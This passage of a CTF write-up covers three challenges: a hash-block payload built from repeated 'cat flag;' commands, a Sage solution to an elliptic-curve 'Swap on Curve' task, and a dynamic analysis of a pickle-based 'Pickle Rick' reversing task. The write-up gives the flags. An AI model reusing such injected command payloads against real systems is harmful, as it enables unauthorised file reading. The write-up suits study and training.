('000000000000000000000000000000000000000000000000', [2, 5, 9, 13, 20, 21, 24, 29, 40, 41, 43, 46, 51, 52, 57, 59, 66, 82, 90, 100, 107, 109, 110, 117])
('000000000000000000000000000000000000000000000000', [2, 5, 9, 10, 16, 26, 27, 34, 42, 43, 46, 51, 57, 59, 66, 69, 75, 90, 104, 107, 109, 112, 114])
('000000000000000000000000000000000000000000000000', [2, 5, 7, 9, 17, 21, 24, 26, 46, 58, 81, 82, 88, 90, 97, 100, 102, 104, 106, 109, 110, 115])
('000000000000000000000000000000000000000000000000', [2, 5, 7, 9, 10, 17, 20, 22, 24, 26, 28, 29, 34, 40, 43, 57, 66, 70, 75, 82, 90, 97, 100, 104, 110, 115])
('000000000000000000000000000000000000000000000000', [2, 3, 9, 10, 13, 20, 24, 25, 27, 28, 34, 40, 41, 43, 51, 57, 58, 66, 90, 104, 106, 107, 110, 117])
('000000000000000000000000000000000000000000000000', [2, 3, 7, 9, 13, 16, 17, 22, 28, 29, 34, 43, 51, 56, 57, 66, 68, 75, 81, 90, 97, 98, 100, 106, 117])
('000000000000000000000000000000000000000000000000', [2, 3, 5, 9, 16, 24, 26, 28, 29, 40, 51, 55, 56, 57, 58, 66, 75, 81, 82, 88, 90, 93, 97, 98, 115])
('000000000000000000000000000000000000000000000000', [2, 3, 5, 9, 10, 13, 21, 27, 29, 41, 46, 58, 69, 78, 81, 82, 90, 93, 104, 109, 112, 115, 117])
('000000000000000000000000000000000000000000000000', [1, 9, 13, 16, 20, 21, 22, 26, 29, 34, 40, 51, 58, 81, 88, 90, 97, 100, 103, 106, 109, 110, 112, 117])
('000000000000000000000000000000000000000000000000', [1, 7, 9, 10, 13, 17, 20, 21, 26, 27, 28, 29, 40, 41, 46, 51, 56, 57, 69, 75, 80, 88, 90, 93, 100, 104, 106, 107, 110, 114, 117])
('000000000000000000000000000000000000000000000000', [1, 7, 13, 17, 20, 21, 26, 36, 41, 46, 59, 90, 93, 97, 98, 110, 112, 117])
('000000000000000000000000000000000000000000000000', [1, 5, 10, 16, 17, 27, 46, 49, 51, 58, 69, 75, 81, 90, 107, 109, 117])
('000000000000000000000000000000000000000000000000', [1, 5, 7, 9, 16, 17, 22, 28, 29, 40, 41, 43, 46, 56, 58, 66, 69, 75, 81, 82, 90, 93, 98, 100, 106, 108, 115])
('000000000000000000000000000000000000000000000000', [1, 5, 7, 9, 10, 16, 20, 24, 28, 34, 41, 46, 48, 57, 59, 82, 90, 97, 106, 107, 112, 114, 115])
('000000000000000000000000000000000000000000000000', [1, 5, 7, 21, 22, 24, 34, 40, 58, 59, 67, 69, 75, 88, 90, 98, 104, 106, 107, 112, 114, 115])
('000000000000000000000000000000000000000000000000', [1, 5, 7, 13, 16, 17, 21, 24, 28, 30, 34, 40, 46, 56, 57, 58, 59, 66, 75, 82, 88, 90, 93, 97, 100, 104, 106, 107, 109, 110, 112, 114, 115])
('000000000000000000000000000000000000000000000000', [1, 2, 13, 16, 17, 20, 22, 24, 27, 29, 34, 38, 46, 56, 58, 66, 75, 88, 90, 93, 97, 98, 104, 109, 112, 117])
('000000000000000000000000000000000000000000000000', [1, 2, 7, 27, 29, 41, 43, 59, 69, 75, 90, 98, 114, 115, 117, 118])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 9, 13, 16, 21, 22, 46, 56, 57, 58, 59, 61, 66, 81, 90, 93, 97, 107, 110, 114])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 9, 10, 18, 21, 24, 27, 28, 29, 34, 40, 43, 46, 51, 57, 58, 88, 90, 93, 97, 106, 107, 110, 112, 114, 115, 117])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 17, 21, 26, 29, 40, 46, 51, 56, 57, 59, 62, 88, 90, 97, 98, 104, 109, 110, 112, 117])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 7, 9, 10, 16, 17, 20, 26, 27, 46, 51, 57, 59, 73, 81, 90, 93, 97, 100, 104, 106, 114])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 7, 10, 12, 13, 17, 21, 22, 26, 27, 28, 34, 46, 59, 66, 69, 82, 88, 90, 109, 112, 115])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 7, 8, 9, 16, 20, 24, 26, 34, 40, 41, 43, 46, 58, 59, 66, 69, 82, 90, 93, 100, 106, 107, 109, 112])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 5, 9, 17, 24, 26, 27, 32, 40, 43, 46, 57, 82, 88, 90, 97, 106, 107, 109, 110, 112, 114, 117])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 5, 9, 13, 17, 24, 34, 43, 45, 51, 57, 58, 59, 66, 75, 88, 90, 93, 98, 104, 109, 112])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 5, 7, 11, 17, 20, 26, 28, 29, 41, 51, 57, 58, 69, 75, 90, 93, 100, 104, 109, 112, 117])
('000000000000000000000000000000000000000000000000', [0, 3, 5, 9, 10, 20, 26, 27, 28, 40, 56, 57, 58, 69, 81, 90, 98, 104, 106, 107, 110, 112, 114])
('000000000000000000000000000000000000000000000000', [9, 13, 20, 21, 26, 28, 43, 46, 51, 66, 69, 81, 97, 98, 100, 106, 107, 110, 112, 114, 115, 119])
('000000000000000000000000000000000000000000000000', [5, 9, 10, 13, 20, 22, 27, 28, 40, 46, 57, 59, 66, 69, 81, 87, 97, 100, 106, 107, 110, 115, 117])
('000000000000000000000000000000000000000000000000', [5, 7, 9, 17, 27, 28, 29, 34, 46, 51, 56, 59, 66, 81, 93, 97, 100, 109, 111, 112, 114, 115, 117])
('000000000000000000000000000000000000000000000000', [2, 7, 9, 13, 16, 21, 22, 34, 40, 57, 59, 76, 82, 88, 93, 110, 112, 115, 117])
('000000000000000000000000000000000000000000000000', [2, 7, 9, 10, 17, 21, 22, 24, 26, 29, 41, 43, 46, 56, 57, 59, 66, 69, 81, 82, 91, 97, 98, 106, 107, 110, 112, 115])
('000000000000000000000000000000000000000000000000', [2, 5, 10, 13, 16, 17, 20, 21, 22, 26, 28, 29, 34, 40, 46, 51, 56, 57, 58, 59, 66, 69, 81, 82, 85, 104, 109, 112, 115])
('000000000000000000000000000000000000000000000000', [2, 5, 7, 13, 17, 21, 24, 26, 28, 33, 58, 59, 69, 93, 97, 98, 106, 109, 110, 114, 115, 117])
('000000000000000000000000000000000000000000000000', [2, 5, 7, 9, 15, 17, 21, 22, 27, 41, 43, 58, 66, 81, 82, 88, 98, 104, 106, 107, 109, 112, 114, 115])
('000000000000000000000000000000000000000000000000', [2, 3, 13, 17, 20, 26, 27, 28, 29, 43, 56, 57, 58, 59, 82, 86, 88, 93, 97, 98, 100, 106, 107, 109, 110])
('000000000000000000000000000000000000000000000000', [2, 3, 7, 10, 21, 22, 24, 40, 41, 43, 51, 56, 59, 66, 74, 75, 81, 82, 88, 106, 107, 114, 115, 117])
('000000000000000000000000000000000000000000000000', [2, 3, 7, 10, 13, 16, 17, 21, 22, 24, 26, 41, 46, 58, 69, 71, 75, 81, 93, 107, 112, 115, 117])
('000000000000000000000000000000000000000000000000', [2, 3, 5, 10, 16, 17, 20, 26, 27, 28, 34, 43, 46, 57, 59, 66, 81, 82, 88, 100, 101, 106, 107, 109, 112, 117])
('000000000000000000000000000000000000000000000000', [2, 3, 5, 9, 10, 17, 20, 22, 26, 27, 29, 37, 40, 41, 51, 56, 58, 75, 81, 93, 97, 98, 100, 106, 107, 110, 115])
('000000000000000000000000000000000000000000000000', [2, 3, 5, 6, 9, 13, 20, 21, 29, 40, 41, 46, 51, 56, 57, 69, 75, 82, 88, 93, 100, 106, 109, 110, 112, 115, 117])
('000000000000000000000000000000000000000000000000', [1, 9, 17, 20, 21, 22, 26, 27, 28, 34, 40, 41, 43, 46, 51, 56, 58, 59, 69, 75, 82, 93, 95, 97, 100, 104, 109, 112, 114, 117])
('000000000000000000000000000000000000000000000000', [1, 9, 16, 20, 21, 22, 26, 27, 28, 34, 41, 51, 56, 58, 59, 64, 66, 69, 75, 81, 88, 97, 98, 107, 109, 110, 112, 115, 117])
('000000000000000000000000000000000000000000000000', [1, 9, 10, 14, 17, 20, 22, 24, 26, 34, 43, 46, 57, 66, 75, 81, 82, 88, 97, 98, 100, 106, 109, 110, 117])
('000000000000000000000000000000000000000000000000', [1, 7, 9, 13, 16, 17, 20, 22, 28, 34, 46, 51, 57, 59, 75, 82, 88, 89, 97, 98, 100, 107, 109, 112, 114])
('000000000000000000000000000000000000000000000000', [1, 5, 9, 16, 21, 24, 26, 28, 34, 35, 40, 41, 43, 51, 57, 59, 69, 75, 81, 82, 97, 98, 100, 109, 112, 115])
('000000000000000000000000000000000000000000000000', [1, 3, 10, 13, 17, 21, 24, 28, 34, 41, 46, 56, 57, 58, 59, 66, 81, 82, 88, 97, 98, 99, 109, 117])
('000000000000000000000000000000000000000000000000', [1, 3, 7, 9, 10, 16, 17, 24, 27, 29, 34, 41, 46, 56, 57, 58, 60, 69, 75, 93, 97, 98, 100, 106, 107, 109, 114])
('000000000000000000000000000000000000000000000000', [1, 3, 5, 9, 16, 17, 20, 26, 27, 28, 29, 34, 41, 46, 66, 72, 75, 93, 98, 104, 107, 110, 114, 115, 117])
('000000000000000000000000000000000000000000000000', [1, 3, 5, 9, 13, 16, 20, 22, 24, 28, 29, 34, 46, 57, 58, 69, 81, 82, 93, 97, 104, 106, 107, 110, 113, 115])
('000000000000000000000000000000000000000000000000', [1, 3, 5, 7, 13, 16, 17, 20, 21, 22, 26, 29, 40, 41, 46, 50, 51, 56, 57, 58, 59, 66, 81, 82, 88, 93, 97, 100, 106, 109, 117])
('000000000000000000000000000000000000000000000000', [1, 3, 5, 7, 9, 13, 16, 17, 20, 21, 22, 24, 27, 29, 34, 43, 46, 51, 56, 57, 59, 63, 69, 88, 100, 107, 110, 112, 114, 117])
('000000000000000000000000000000000000000000000000', [1, 2, 9, 10, 13, 16, 20, 26, 34, 40, 41, 43, 51, 56, 57, 58, 69, 75, 81, 82, 88, 93, 97, 98, 109, 110, 114, 115, 116, 117])
('000000000000000000000000000000000000000000000000', [1, 2, 7, 17, 20, 22, 27, 28, 29, 34, 51, 53, 57, 58, 59, 66, 88, 93, 97, 100, 109, 110, 115, 117])
('000000000000000000000000000000000000000000000000', [1, 2, 7, 13, 17, 22, 24, 26, 27, 28, 40, 47, 56, 58, 59, 69, 75, 81, 82, 98, 109, 114, 115])
('000000000000000000000000000000000000000000000000', [1, 2, 5, 10, 16, 17, 21, 22, 24, 28, 29, 34, 40, 56, 81, 88, 94, 106, 107, 109, 110, 112])
('000000000000000000000000000000000000000000000000', [1, 2, 5, 7, 13, 17, 28, 34, 40, 43, 46, 56, 57, 58, 69, 93, 105, 107, 109])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 22, 24, 26, 34, 43, 51, 56, 57, 58, 59, 69, 81, 88, 96, 109, 115, 117])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 13, 16, 20, 21, 22, 23, 24, 26, 40, 41, 43, 58, 59, 81, 97, 98, 100, 104, 106, 112, 114, 115, 117])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 10, 16, 24, 27, 41, 46, 51, 56, 58, 59, 79, 81, 98, 109, 110, 114, 115, 117])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 9, 16, 19, 22, 29, 34, 43, 46, 51, 58, 66, 69, 81, 82, 97, 104, 106, 107, 110, 112, 114, 115, 117])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 9, 10, 16, 17, 20, 24, 28, 29, 31, 40, 41, 46, 56, 58, 59, 66, 75, 81, 82, 88, 97, 98, 104, 107, 109, 110, 115])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 5, 9, 10, 13, 16, 20, 24, 26, 40, 41, 43, 51, 56, 57, 59, 66, 69, 77, 88, 93, 97, 98, 106, 110, 115])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 5, 7, 10, 17, 20, 21, 22, 24, 26, 29, 34, 40, 43, 46, 58, 65, 93, 97, 98, 107, 112, 115, 117])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 4, 9, 10, 13, 17, 21, 26, 27, 28, 34, 40, 51, 56, 57, 59, 81, 93, 98, 106, 107, 112])

Used blocks for the target hash:

[5, 9, 21, 22, 24, 26, 43, 51, 56, 66, 69, 75, 88, 90, 98, 100, 115]

Payload:
cat flag     ;  cat  flag ;     cat    flag;    cat    flag ;   cat    flag   ; cat     flag;    cat  flag;      cat   flag  ;   cat    flag  ;   cat flag  ;     cat flag     ;  cat   flag;      cat flag   ;    cat  flag;      cat    flag ;    cat flag;        cat   flag;cat flag;       cat flag;       cat flag;       cat flag;       cat flag;       cat flag;       cat flag;       cat flag;       echo '          '

Blocks:
0123456789abcdef
cat flag     ;  
cat  flag ;     
cat    flag;    
cat    flag ;   
cat    flag   ; 
cat     flag;   
 cat  flag;     
 cat   flag  ;  
 cat    flag  ;  
 cat flag  ;    
 cat flag     ; 
 cat   flag;    
  cat flag   ;  
  cat  flag;    
  cat    flag ; 
   cat flag;    
    cat   flag;
    
Padded blocks:
cat flag;       
cat flag;       
cat flag;       
cat flag;       
cat flag;       
cat flag;       
cat flag;       
cat flag;       
echo '          
'

If we want to have a guaranteed fast result, then we can reduce the used hash length:

# only use 50 blocks
blocksv = blocksv[:50]

Alternatively, we can randomly pick 50 blocks until the result is desired.

(The intended solution, as seen in the flag, should be MITM (meet-in-the-middle) attack of more than 2^24 hashes for a pair giving the target hash)

Swap on Curve (crypto) (Score: 250, 34 Solves)

Source (task.sage)

from params import p, a, b, flag, y

x = int.from_bytes(flag, "big")

assert 0 < x < p
assert 0 < y < p
assert x != y

EC = EllipticCurve(GF(p), [a, b])

assert EC(x,y)
assert EC(y,x)

print("p = {}".format(p))
print("a = {}".format(a))
print("b = {}".format(b))

Analysis

Parameters for an EllipticCurve is retrieved from params.

The task is to find an x-coordinante such that (x, y) and (y, x) are both valid points on the curve.

Though is challenge is involving elliptic curve, it is actually just solving the following system of modular equations:

$$\begin{gathered} \{\begin{array}{}{y}^2=x^3+ax+b\\ x^2=y^3+ay+b\end{array} \\ \{\begin{array}{rl}{x}^2-b& =y^3+ay\\ y^2& =x^3+ax+b\end{array} \\ \{\begin{array}{rl}{x}^2-b& =y(y^2+a)\\ y^2& =x^3+ax+b\end{array} \\ \{\begin{array}{rl}(x^2-b{)}^2& =y^2(y^2+a{)}^2\\ y^2& =x^3+ax+b\end{array} \\ (x^2-b{)}^2=(x^3+ax+b)(x^3+ax+b+a{)}^2 \end{gathered}$$

Therefore we can simply solve it using sage solves():

p = 10224339405907703092027271021531545025590069329651203467716750905186360905870976608482239954157859974243721027388367833391620238905205324488863654155905507
a = 4497571717921592398955060922592201381291364158316041225609739861880668012419104521771916052114951221663782888917019515720822797673629101617287519628798278
b = 1147822627440179166862874039888124662334972701778333205963385274435770863246836847305423006003688412952676893584685957117091707234660746455918810395379096
R.<x> = IntegerModRing(p)[]
f = x ** 3 + a * x + b
r = ((x^2 - b)^2 - f * (f + a) ^ 2).roots()
for root in r:
    print(bytes.fromhex(hex(root[0])[2:]))

Output:

b'\x93\n)jF\x82K\xabgIM\xbc\xfeT\x8c\xf8&b\xc4\xd7\xb08?\xf8\xfb\xa7\xb2\x8e.\xf32\xffKIX\x0e\\\xf3Bq\x9f\xd3\x97\x922H\xa1\xe0\xeblE\xa5\x13\xaf\x06\xd8t\x84\x834\xd2\xdeD\x8c'
b'\x92\x98;^i\t\x8a\xe2h1\xae\xd0YYYXEV\x02ZKp\xc5\x05\xabF\xe1\x98\x83\x92\x80\xc2f\xf6\x7f\xe0\x96\x84jN\x18\xa4\xa1\x92\xbe\x98!\x95o\xd5\x1f\xc46OyrVq\x89G\x14\xc3D\xa2'
b'ACSC{have_you_already_read_the_swap<-->swap?})\xd6\x82a\x076s;\x1e\xaf\x13\x92\x1f)\x997-h\xd8'

Flag: ACSC{have_you_already_read_the_swap<-->swap?}

Pickle Rick (rev) (Score: 220, 121 Solves)

Source (chal.py)

# /usr/bin/env python3
import pickle
import sys

# Check version >= 3.9
if sys.version_info[0] != 3 or sys.version_info[1] < 9:
    print("Check your Python version!")
    exit(0)

# This function is truly amazing, so do not fix it!
def amazing_function(a, b, c=None):
    if type(b) == int:
        return a[b]
    else:
        return (
            f"CORRECT! The flag is: ACSC{{{c.decode('ascii')}}}" if a == b else "WRONG!"
        )


with open("rick.pickle", "rb") as f:
    pickle_rick = f.read()

rick_says = b"Wubba lubba dub-dub!!"  # What is the right input here?
assert type(rick_says) == bytes and len(rick_says) == 21
pickle.loads(pickle_rick)

Analysis

The program requires Python version 3.9 in order to run.

A function amazing_function is used to do something "amazing".

The program loads a pickle dump file rick.pickle, which checks rick_says and the check result is from the else part of the amazing_function.

Prelude

This solution does not really reverse the code from the pickle, but dynamically analyzes through differential analysis, which is useful when the function is simple but the code is complicated.

For the pickle file, we can actually dissemble the code using pickletools:

import pickletools
pickletools.dis(pickle_rick, out=open("rick.byte", "w"))

The result is something like this:

    0: c    GLOBAL     'builtins print'
   16: T    BINSTRING  '(some ascii art)'
17122: \x85 TUPLE1
17123: R    REDUCE
17124: c    GLOBAL     'builtins print'
17140: S    STRING     'Pickle Rick says:'
17161: \x85 TUPLE1
17162: R    REDUCE
17163: c    GLOBAL     'builtins print'
17179: c    GLOBAL     '__main__ rick_says'
17199: \x85 TUPLE1
17200: R    REDUCE
17201: c    GLOBAL     'builtins print'
17217: S    STRING     'The flag machine says:'
...

Since it looks complicated, and online tools cannot directly decompile it (e.g. Fickling, and some people seem to be able to patch that to process this file), so I have chosen not to deal with this file.

Solution

Let us check what happens by default:

                                                                                     `.inWWx*.
                                                                                  `izW@MxnnnxMn;
                                                                                `*WWxnnnnnnnnnnxx*`
                                                                               :MWnnnznnnnnnnnnnnxxi`
                                                                             `#@xnn#***+#+nnnnnnnnnxn,
                                                               
...
Skipped
...
                                                               
         .#WMnnnnnnnnnnnnnnnnnnnnnnnxWW#,
           `ixWMxnnnnnnnnnnnnnnnnxW@ni`
              .izMWWMxxxxxxxMMW@M#;`
                 `.;+#nxxxzz+*;.`                                        http://www.asciify.net/ascii/ascii/11190

Pickle Rick says:
b'Wubba lubba dub-dub!!'
The flag machine says:
WRONG!

Though we do not know what is happening, but we know that the WRONG! is printed in the else part of amazing_function.

Also, seems the ascii art is somehow blocking the screen, so I decided to patch the print function, and log the arguments that are passed to the amazing_function first.

# This function is truly amazing, so do not fix it!
def amazing_function(a, b, c=None):
    print(a, b, c, p=True)
    if type(b) == int:
        return a[b]
    else:
        return (
            f"CORRECT! The flag is: ACSC{{{c.decode('ascii')}}}" if a == b else "WRONG!"
        )

import builtins
print2 = builtins.print
def myprint(*x, p=False, **y):
    if p or type(x[0]) != str: # string will no longer be printed out
        print2(*x, **y)
builtins.print = myprint

We can see the output as below:

b'Wubba lubba dub-dub!!'
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 0 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 1 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 2 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 3 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 4 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 5 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 6 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 7 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 8 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 9 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 10 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 11 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 12 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 13 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 14 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 15 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 16 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 17 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 18 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 19 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 20 None
(186, 184, 21, 250, 11, 124, 181, 191, 56, 105, 227, 225, 140, 207, 68, 35, 207, 87, 95, 27, 86) (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227) b'Wubba lubba dub-dub!!'

(Since Python 3.8 seems to run also properly, I can just remove the check version lines)

There are two things that we need to care about:

1. How b'Wubba lubba dub-dub!!' is converted to [77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176]?
2. How [77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] is converted to (186, 184, 21, 250, 11, 124, 181, 191, 56, 105, 227, 225, 140, 207, 68, 35, 207, 87, 95, 27, 86)?

We know our target is now (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227), so we can try to see if we can deal with the second thing first.

Let's see what happens if we change all elements in list a to be identical:

def amazing_function(a, b, c=None):
    print(a, b, c, p=True)
    if type(b) == int:
        for x in range(len(a)):
            a[x] = 69
        return a[b]
    else:
        return (
            f"CORRECT! The flag is: ACSC{{{c.decode('ascii')}}}" if a == b else "WRONG!"
        )

69:
[69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69] 20 None
(111, 111, 111, 111, 111, 111, 111, 111, 111, 111, 111, 111, 111, 111, 111, 111, 111, 111, 111, 111, 111) (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227) b'Wubba lubba dub-dub!!'

80:
[87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87] 20 None
(183, 183, 183, 183, 183, 183, 183, 183, 183, 183, 183, 183, 183, 183, 183, 183, 183, 183, 183, 183, 183) (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227) b'Wubba lubba dub-dub!!'

169:
[169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169] 20 None
(11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11) (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227) b'Wubba lubba dub-dub!!'

Mixed together:
for x in range(len(a)):
    a[x] = [69, 87, 169][x%3]
    
[69, 87, 169, 69, 87, 169, 69, 87, 169, 69, 87, 169, 69, 87, 169, 69, 87, 169, 69, 87, 169] 20 None
(111, 183, 11, 111, 183, 11, 111, 183, 11, 111, 183, 11, 111, 183, 11, 111, 183, 11, 111, 183, 11) (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227) b'Wubba lubba dub-dub!!'

We can see that this is a direct substitution cipher, where 69 is mapped to 111, 87 is mapped to 182, and 169 is mapped to 11.

Therefore, we can create a substitution table for all that:

temp = 0

# This function is truly amazing, so do not fix it!
def amazing_function(a, b, c=None):
    # print(a, b, c, p=True)
    if type(b) == int:
        for x in range(len(a)):
            a[x] = x + temp
        return a[b]
    else:
        print(str(a)[1:-1], end=", ", p=True)
        return (
            f"CORRECT! The flag is: ACSC{{{c.decode('ascii')}}}" if a == b else "WRONG!"
        )

import builtins
print2 = builtins.print
def myprint(*x, p=False, **y):
    if p: # or type(x[0]) != str:
        print2(*x, **y)
builtins.print = myprint

with open("rick.pickle", "rb") as f:
    pickle_rick = f.read()

rick_says = b"Wubba lubba dub-dub!!"  # What is the right input here?
assert type(rick_says) == bytes and len(rick_says) == 21
for i in range(0, 256, 21):
    temp = i
    pickle.loads(pickle_rick)

Output:

80, 164, 173, 247, 232, 64, 96, 100, 197, 181, 249, 84, 136, 91, 68, 73, 17, 58, 27, 243, 28, 97, 43, 51, 166, 131, 187, 15, 227, 206, 146, 62, 24, 132, 234, 138, 188, 95, 168, 117, 157, 142, 48, 165, 20, 119, 69, 105, 240, 209, 205, 128, 176, 215, 50, 13, 31, 185, 171, 158, 71, 122, 241, 152, 59, 65, 56, 151, 37, 111, 7, 141, 239, 107, 22, 76, 246, 186, 98, 178, 238, 44, 30, 85, 184, 115, 226, 183, 0, 79, 154, 130, 163, 177, 3, 54, 224, 150, 53, 60, 25, 212, 89, 153, 159, 120, 219, 32, 199, 26, 63, 253, 148, 193, 33, 137, 75, 81, 70, 6, 41, 113, 23, 230, 46, 140, 9, 160, 189, 124, 192, 92, 182, 155, 202, 175, 112, 218, 245, 210, 255, 94, 83, 214, 179, 139, 248, 34, 207, 162, 49, 125, 77, 196, 217, 103, 2, 18, 55, 167, 143, 1, 223, 114, 61, 200, 235, 127, 244, 11, 133, 87, 242, 88, 52, 190, 86, 213, 14, 228, 231, 72, 78, 161, 90, 4, 102, 57, 250, 19, 121, 211, 145, 16, 116, 8, 195, 229, 208, 109, 191, 36, 204, 5, 38, 123, 110, 21, 126, 82, 221, 12, 237, 99, 216, 129, 10, 236, 67, 169, 251, 45, 254, 156, 170, 149, 74, 174, 201, 66, 108, 252, 118, 40, 144, 39, 29, 104, 42, 135, 220, 101, 147, 233, 172, 225, 93, 222, 203, 194, 134, 106, 35, 47, 180, 198, 80, 164, 173, 247, 232, 64, 96, 100, 197, 181, 249, 84, 136, 91, 68, 73, 17,

Here we obtained the substitution box. (Its cycle is 256)

Then we can reverse the required list:

sbox = [80, 164, 173, 247, 232, 64, 96, 100, 197, 181, 249, 84, 136, 91, 68, 73, 17, 58, 27, 243, 28, 97, 43, 51, 166, 131, 187, 15, 227, 206, 146, 62, 24, 132, 234, 138, 188, 95, 168, 117, 157, 142, 48, 165, 20, 119, 69, 105, 240, 209, 205, 128, 176, 215, 50, 13, 31, 185, 171, 158, 71, 122, 241, 152, 59, 65, 56, 151, 37, 111, 7, 141, 239, 107, 22, 76, 246, 186, 98, 178, 238, 44, 30, 85, 184, 115, 226, 183, 0, 79, 154, 130, 163, 177, 3, 54, 224, 150, 53, 60, 25, 212, 89, 153, 159, 120, 219, 32, 199, 26, 63, 253, 148, 193, 33, 137, 75, 81, 70, 6, 41, 113, 23, 230, 46, 140, 9, 160, 189, 124, 192, 92, 182, 155, 202, 175, 112, 218, 245, 210, 255, 94, 83, 214, 179, 139, 248, 34, 207, 162, 49, 125, 77, 196, 217, 103, 2, 18, 55, 167, 143, 1, 223, 114, 61, 200, 235, 127, 244, 11, 133, 87, 242, 88, 52, 190, 86, 213, 14, 228, 231, 72, 78, 161, 90, 4, 102, 57, 250, 19, 121, 211, 145, 16, 116, 8, 195, 229, 208, 109, 191, 36, 204, 5, 38, 123, 110, 21, 126, 82, 221, 12, 237, 99, 216, 129, 10, 236, 67, 169, 251, 45, 254, 156, 170, 149, 74, 174, 201, 66, 108, 252, 118, 40, 144, 39, 29, 104, 42, 135, 220, 101, 147, 233, 172, 225, 93, 222, 203, 194, 134, 106, 35, 47, 180, 198]
target = (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227)
print([sbox.index(x) for x in target])

Output:

[98, 59, 114, 85, 203, 16, 155, 94, 218, 48, 235, 18, 189, 14, 117, 73, 138, 209, 91, 104, 28]

Now what's remaining is the first stuff:
As tested before we have the following relation:

b'Wubba lubba dub-dub!!' [77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176]

Let's do some simple cases first:

b'VVVVVVVVVVVVVVVVVVVVV'
[77, 77, 77, 77, 77, 77, 77, 77, 77, 77, 77, 77, 77, 77, 77, 77, 77, 77, 77, 77, 77]

b'WWWWWWWWWWWWWWWWWWWWW'
[51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51]

